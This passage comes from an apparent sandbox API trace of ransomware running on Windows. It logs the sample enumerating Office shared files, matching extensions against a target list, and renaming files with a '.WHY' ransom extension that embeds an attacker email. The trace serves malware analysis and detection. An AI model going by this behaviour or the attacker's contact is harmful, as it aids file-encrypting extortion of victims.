hFile=0x320, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=65996) returned 1 [0225.993] CloseHandle (hObject=0x320) returned 1 [0225.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.elm")) returned 0x20 [0225.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.elm.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0225.993] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0225.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM") returned 71 [0225.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM") returned 71 [0225.993] lstrlenW (lpString=".doc") returned 4 [0225.993] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0225.994] lstrlenW (lpString=".docx") returned 5 [0225.994] lstrcmpiW (lpString1=".docx", lpString2="R.ELM") returned -1 [0225.994] lstrlenW (lpString=".pdf") returned 4 [0225.994] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0225.994] lstrlenW (lpString=".xls") returned 4 [0225.994] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0225.994] lstrlenW (lpString=".xlsx") returned 5 [0225.994] lstrcmpiW (lpString1=".xlsx", lpString2="R.ELM") returned -1 [0225.994] lstrlenW (lpString=".ppt") returned 4 [0225.994] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0225.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM") returned 71 [0225.994] lstrlenW (lpString=".zip") returned 4 [0225.995] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0225.995] lstrlenW (lpString=".rar") returned 4 [0225.995] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0225.995] lstrlenW (lpString=".bz2") returned 4 [0225.995] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0225.995] lstrlenW (lpString=".7z") returned 3 [0225.995] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0225.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM") returned 71 [0225.995] lstrlenW (lpString=".dbf") returned 4 [0225.995] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0225.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM") returned 71 [0225.995] lstrlenW (lpString=".1cd") returned 4 [0225.995] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0225.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM") returned 71 [0225.996] lstrlenW (lpString=".jpg") returned 4 [0225.996] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0225.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM") returned 71 [0225.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM") returned 71 [0225.996] lstrlenW (lpString=".doc") returned 4 [0225.996] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0225.996] lstrlenW (lpString=".docx") returned 5 [0225.996] lstrcmpiW (lpString1=".docx", lpString2="R.ELM") returned -1 [0225.996] lstrlenW (lpString=".pdf") returned 4 [0225.996] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0225.996] lstrlenW (lpString=".xls") returned 4 [0225.996] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0225.997] lstrlenW (lpString=".xlsx") returned 5 [0225.997] lstrcmpiW (lpString1=".xlsx", lpString2="R.ELM") returned -1 [0225.997] lstrlenW (lpString=".ppt") returned 4 [0225.997] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0225.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM") returned 71 [0225.997] lstrlenW (lpString=".zip") returned 4 [0225.997] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0225.997] lstrlenW (lpString=".rar") returned 4 [0225.997] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0225.997] lstrlenW (lpString=".bz2") returned 4 [0225.997] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0225.997] lstrlenW (lpString=".7z") returned 3 [0225.997] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0225.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM") returned 71 [0225.998] lstrlenW (lpString=".dbf") returned 4 [0225.998] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0225.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM") returned 71 [0225.998] lstrlenW (lpString=".1cd") returned 4 [0225.998] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0225.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM") returned 71 [0225.998] lstrlenW (lpString=".jpg") returned 4 [0225.998] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0225.999] lstrcmpiW (lpString1=".INF", lpString2=".WHY") returned -1 [0225.999] lstrlenW (lpString="WATER.INF") returned 9 [0225.999] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0226.001] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=417) returned 1 [0226.001] CloseHandle (hObject=0x320) returned 1 [0226.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.inf")) returned 0x20 [0226.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.inf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0226.001] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF") returned 71 [0226.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF") returned 71 [0226.002] lstrlenW (lpString=".doc") returned 4 [0226.002] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0226.002] lstrlenW (lpString=".docx") returned 5 [0226.002] lstrcmpiW (lpString1=".docx", lpString2="R.INF") returned -1 [0226.002] lstrlenW (lpString=".pdf") returned 4 [0226.002] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0226.002] lstrlenW (lpString=".xls") returned 4 [0226.002] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0226.002] lstrlenW (lpString=".xlsx") returned 5 [0226.002] lstrcmpiW (lpString1=".xlsx", lpString2="R.INF") returned -1 [0226.002] lstrlenW (lpString=".ppt") returned 4 [0226.002] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0226.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF") returned 71 [0226.003] lstrlenW (lpString=".zip") returned 4 [0226.003] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0226.003] lstrlenW (lpString=".rar") returned 4 [0226.003] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0226.003] lstrlenW (lpString=".bz2") returned 4 [0226.003] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0226.003] lstrlenW (lpString=".7z") returned 3 [0226.003] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0226.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF") returned 71 [0226.003] lstrlenW (lpString=".dbf") returned 4 [0226.003] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0226.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF") returned 71 [0226.004] lstrlenW (lpString=".1cd") returned 4 [0226.004] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0226.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF") returned 71 [0226.004] lstrlenW (lpString=".jpg") returned 4 [0226.004] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0226.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF") returned 71 [0226.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF") returned 71 [0226.004] lstrlenW (lpString=".doc") returned 4 [0226.004] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0226.004] lstrlenW (lpString=".docx") returned 5 [0226.005] lstrcmpiW (lpString1=".docx", lpString2="R.INF") returned -1 [0226.005] lstrlenW (lpString=".pdf") returned 4 [0226.005] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0226.005] lstrlenW (lpString=".xls") returned 4 [0226.005] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0226.005] lstrlenW (lpString=".xlsx") returned 5 [0226.005] lstrcmpiW (lpString1=".xlsx", lpString2="R.INF") returned -1 [0226.005] lstrlenW (lpString=".ppt") returned 4 [0226.005] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0226.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF") returned 71 [0226.005] lstrlenW (lpString=".zip") returned 4 [0226.005] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0226.005] lstrlenW (lpString=".rar") returned 4 [0226.006] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0226.006] lstrlenW (lpString=".bz2") returned 4 [0226.006] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0226.006] lstrlenW (lpString=".7z") returned 3 [0226.006] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0226.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF") returned 71 [0226.006] lstrlenW (lpString=".dbf") returned 4 [0226.006] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0226.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF") returned 71 [0226.006] lstrlenW (lpString=".1cd") returned 4 [0226.006] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0226.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF") returned 71 [0226.006] lstrlenW (lpString=".jpg") returned 4 [0226.146] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0226.146] lstrcmpiW (lpString1=".ITS", lpString2=".WHY") returned -1 [0226.147] lstrlenW (lpString="MSB1ARFR.ITS") returned 12 [0226.147] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0226.150] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=1658904) returned 1 [0226.150] CloseHandle (hObject=0x38c) returned 1 [0226.151] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its")) returned 0x20 [0226.151] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0226.151] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0 [0226.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS") returned 73 [0226.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS") returned 73 [0226.152] lstrlenW (lpString=".doc") returned 4 [0226.152] lstrcmpiW (lpString1=".doc", lpString2=".ITS") returned -1 [0226.152] lstrlenW (lpString=".docx") returned 5 [0226.152] lstrcmpiW (lpString1=".docx", lpString2="R.ITS") returned -1 [0226.152] lstrlenW (lpString=".pdf") returned 4 [0226.152] lstrcmpiW (lpString1=".pdf", lpString2=".ITS") returned 1 [0226.152] lstrlenW (lpString=".xls") returned 4 [0226.152] lstrcmpiW (lpString1=".xls", lpString2=".ITS") returned 1 [0226.152] lstrlenW (lpString=".xlsx") returned 5 [0226.152] lstrcmpiW (lpString1=".xlsx", lpString2="R.ITS") returned -1 [0226.152] lstrlenW (lpString=".ppt") returned 4 [0226.152] lstrcmpiW (lpString1=".ppt", lpString2=".ITS") returned 1 [0226.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS") returned 73 [0226.153] lstrlenW (lpString=".zip") returned 4 [0226.153] lstrcmpiW (lpString1=".zip", lpString2=".ITS") returned 1 [0226.153] lstrlenW (lpString=".rar") returned 4 [0226.153] lstrcmpiW (lpString1=".rar", lpString2=".ITS") returned 1 [0226.153] lstrlenW (lpString=".bz2") returned 4 [0226.153] lstrcmpiW (lpString1=".bz2", lpString2=".ITS") returned -1 [0226.153] lstrlenW (lpString=".7z") returned 3 [0226.153] lstrcmpiW (lpString1=".7z", lpString2="ITS") returned -1 [0226.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS") returned 73 [0226.153] lstrlenW (lpString=".dbf") returned 4 [0226.153] lstrcmpiW (lpString1=".dbf", lpString2=".ITS") returned -1 [0226.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS") returned 73 [0226.153] lstrlenW (lpString=".1cd") returned 4 [0226.153] lstrcmpiW (lpString1=".1cd", lpString2=".ITS") returned -1 [0226.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS") returned 73 [0226.154] lstrlenW (lpString=".jpg") returned 4 [0226.154] lstrcmpiW (lpString1=".jpg", lpString2=".ITS") returned 1 [0226.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS") returned 73 [0226.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS") returned 73 [0226.154] lstrlenW (lpString=".doc") returned 4 [0226.154] lstrcmpiW (lpString1=".doc", lpString2=".ITS") returned -1 [0226.154] lstrlenW (lpString=".docx") returned 5 [0226.154] lstrcmpiW (lpString1=".docx", lpString2="R.ITS") returned -1 [0226.154] lstrlenW (lpString=".pdf") returned 4 [0226.154] lstrcmpiW (lpString1=".pdf", lpString2=".ITS") returned 1 [0226.155] lstrlenW (lpString=".xls") returned 4 [0226.155] lstrcmpiW (lpString1=".xls", lpString2=".ITS") returned 1 [0226.155] lstrlenW (lpString=".xlsx") returned 5 [0226.155] lstrcmpiW (lpString1=".xlsx", lpString2="R.ITS") returned -1 [0226.155] lstrlenW (lpString=".ppt") returned 4 [0226.155] lstrcmpiW (lpString1=".ppt", lpString2=".ITS") returned 1 [0226.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS") returned 73 [0226.155] lstrlenW (lpString=".zip") returned 4 [0226.155] lstrcmpiW (lpString1=".zip", lpString2=".ITS") returned 1 [0226.155] lstrlenW (lpString=".rar") returned 4 [0226.155] lstrcmpiW (lpString1=".rar", lpString2=".ITS") returned 1 [0226.155] lstrlenW (lpString=".bz2") returned 4 [0226.155] lstrcmpiW (lpString1=".bz2", lpString2=".ITS") returned -1 [0226.155] lstrlenW (lpString=".7z") returned 3 [0226.156] lstrcmpiW (lpString1=".7z", lpString2="ITS") returned -1 [0226.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS") returned 73 [0226.156] lstrlenW (lpString=".dbf") returned 4 [0226.156] lstrcmpiW (lpString1=".dbf", lpString2=".ITS") returned -1 [0226.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS") returned 73 [0226.156] lstrlenW (lpString=".1cd") returned 4 [0226.156] lstrcmpiW (lpString1=".1cd", lpString2=".ITS") returned -1 [0226.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS") returned 73 [0226.156] lstrlenW (lpString=".jpg") returned 4 [0226.156] lstrcmpiW (lpString1=".jpg", lpString2=".ITS") returned 1 [0226.157] lstrcmpiW (lpString1=".ITS", lpString2=".WHY") returned -1 [0226.157] lstrlenW (lpString="MSB1ENES.ITS") returned 12 [0226.157] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\msb1enes.its"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0226.158] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=978206) returned 1 [0226.159] CloseHandle (hObject=0x38c) returned 1 [0226.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\msb1enes.its")) returned 0x20 [0226.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\msb1enes.its.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0226.159] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\msb1enes.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS") returned 73 [0226.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS") returned 73 [0226.160] lstrlenW (lpString=".doc") returned 4 [0226.160] lstrcmpiW (lpString1=".doc", lpString2=".ITS") returned -1 [0226.160] lstrlenW (lpString=".docx") returned 5 [0226.160] lstrcmpiW (lpString1=".docx", lpString2="S.ITS") returned -1 [0226.160] lstrlenW (lpString=".pdf") returned 4 [0226.160] lstrcmpiW (lpString1=".pdf", lpString2=".ITS") returned 1 [0226.160] lstrlenW (lpString=".xls") returned 4 [0226.160] lstrcmpiW (lpString1=".xls", lpString2=".ITS") returned 1 [0226.160] lstrlenW (lpString=".xlsx") returned 5 [0226.160] lstrcmpiW (lpString1=".xlsx", lpString2="S.ITS") returned -1 [0226.160] lstrlenW (lpString=".ppt") returned 4 [0226.160] lstrcmpiW (lpString1=".ppt", lpString2=".ITS") returned 1 [0226.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS") returned 73 [0226.161] lstrlenW (lpString=".zip") returned 4 [0226.161] lstrcmpiW (lpString1=".zip", lpString2=".ITS") returned 1 [0226.161] lstrlenW (lpString=".rar") returned 4 [0226.161] lstrcmpiW (lpString1=".rar", lpString2=".ITS") returned 1 [0226.161] lstrlenW (lpString=".bz2") returned 4 [0226.161] lstrcmpiW (lpString1=".bz2", lpString2=".ITS") returned -1 [0226.161] lstrlenW (lpString=".7z") returned 3 [0226.161] lstrcmpiW (lpString1=".7z", lpString2="ITS") returned -1 [0226.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS") returned 73 [0226.161] lstrlenW (lpString=".dbf") returned 4 [0226.161] lstrcmpiW (lpString1=".dbf", lpString2=".ITS") returned -1 [0226.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS") returned 73 [0226.162] lstrlenW (lpString=".1cd") returned 4 [0226.162] lstrcmpiW (lpString1=".1cd", lpString2=".ITS") returned -1 [0226.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS") returned 73 [0226.162] lstrlenW (lpString=".jpg") returned 4 [0226.162] lstrcmpiW (lpString1=".jpg", lpString2=".ITS") returned 1 [0226.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS") returned 73 [0226.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS") returned 73 [0226.162] lstrlenW (lpString=".doc") returned 4 [0226.162] lstrcmpiW (lpString1=".doc", lpString2=".ITS") returned -1 [0226.162] lstrlenW (lpString=".docx") returned 5 [0226.174] lstrcmpiW (lpString1=".docx", lpString2="S.ITS") returned -1 [0226.174] lstrlenW (lpString=".pdf") returned 4 [0226.174] lstrcmpiW (lpString1=".pdf", lpString2=".ITS") returned 1 [0226.174] lstrlenW (lpString=".xls") returned 4 [0226.174] lstrcmpiW (lpString1=".xls", lpString2=".ITS") returned 1 [0226.174] lstrlenW (lpString=".xlsx") returned 5 [0226.175] lstrcmpiW (lpString1=".xlsx", lpString2="S.ITS") returned -1 [0226.175] lstrlenW (lpString=".ppt") returned 4 [0226.175] lstrcmpiW (lpString1=".ppt", lpString2=".ITS") returned 1 [0226.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS") returned 73 [0226.175] lstrlenW (lpString=".zip") returned 4 [0226.175] lstrcmpiW (lpString1=".zip", lpString2=".ITS") returned 1 [0226.175] lstrlenW (lpString=".rar") returned 4 [0226.175] lstrcmpiW (lpString1=".rar", lpString2=".ITS") returned 1 [0226.175] lstrlenW (lpString=".bz2") returned 4 [0226.175] lstrcmpiW (lpString1=".bz2", lpString2=".ITS") returned -1 [0226.175] lstrlenW (lpString=".7z") returned 3 [0226.175] lstrcmpiW (lpString1=".7z", lpString2="ITS") returned -1 [0226.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS") returned 73 [0226.176] lstrlenW (lpString=".dbf") returned 4 [0226.176] lstrcmpiW (lpString1=".dbf", lpString2=".ITS") returned -1 [0226.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS") returned 73 [0226.176] lstrlenW (lpString=".1cd") returned 4 [0226.176] lstrcmpiW (lpString1=".1cd", lpString2=".ITS") returned -1 [0226.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS") returned 73 [0226.176] lstrlenW (lpString=".jpg") returned 4 [0226.176] lstrcmpiW (lpString1=".jpg", lpString2=".ITS") returned 1 [0226.177] lstrcmpiW (lpString1=".ITS", lpString2=".WHY") returned -1 [0226.177] lstrlenW (lpString="MSB1ENFR.ITS") returned 12 [0226.177] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\msb1enfr.its"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0226.177] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=943322) returned 1 [0226.178] CloseHandle (hObject=0x38c) returned 1 [0226.178] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\msb1enfr.its")) returned 0x20 [0226.178] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\msb1enfr.its.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0226.178] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\msb1enfr.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS") returned 73 [0226.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS") returned 73 [0226.179] lstrlenW (lpString=".doc") returned 4 [0226.179] lstrcmpiW (lpString1=".doc", lpString2=".ITS") returned -1 [0226.179] lstrlenW (lpString=".docx") returned 5 [0226.179] lstrcmpiW (lpString1=".docx", lpString2="R.ITS") returned -1 [0226.179] lstrlenW (lpString=".pdf") returned 4 [0226.179] lstrcmpiW (lpString1=".pdf", lpString2=".ITS") returned 1 [0226.179] lstrlenW (lpString=".xls") returned 4 [0226.179] lstrcmpiW (lpString1=".xls", lpString2=".ITS") returned 1 [0226.179] lstrlenW (lpString=".xlsx") returned 5 [0226.180] lstrcmpiW (lpString1=".xlsx", lpString2="R.ITS") returned -1 [0226.180] lstrlenW (lpString=".ppt") returned 4 [0226.180] lstrcmpiW 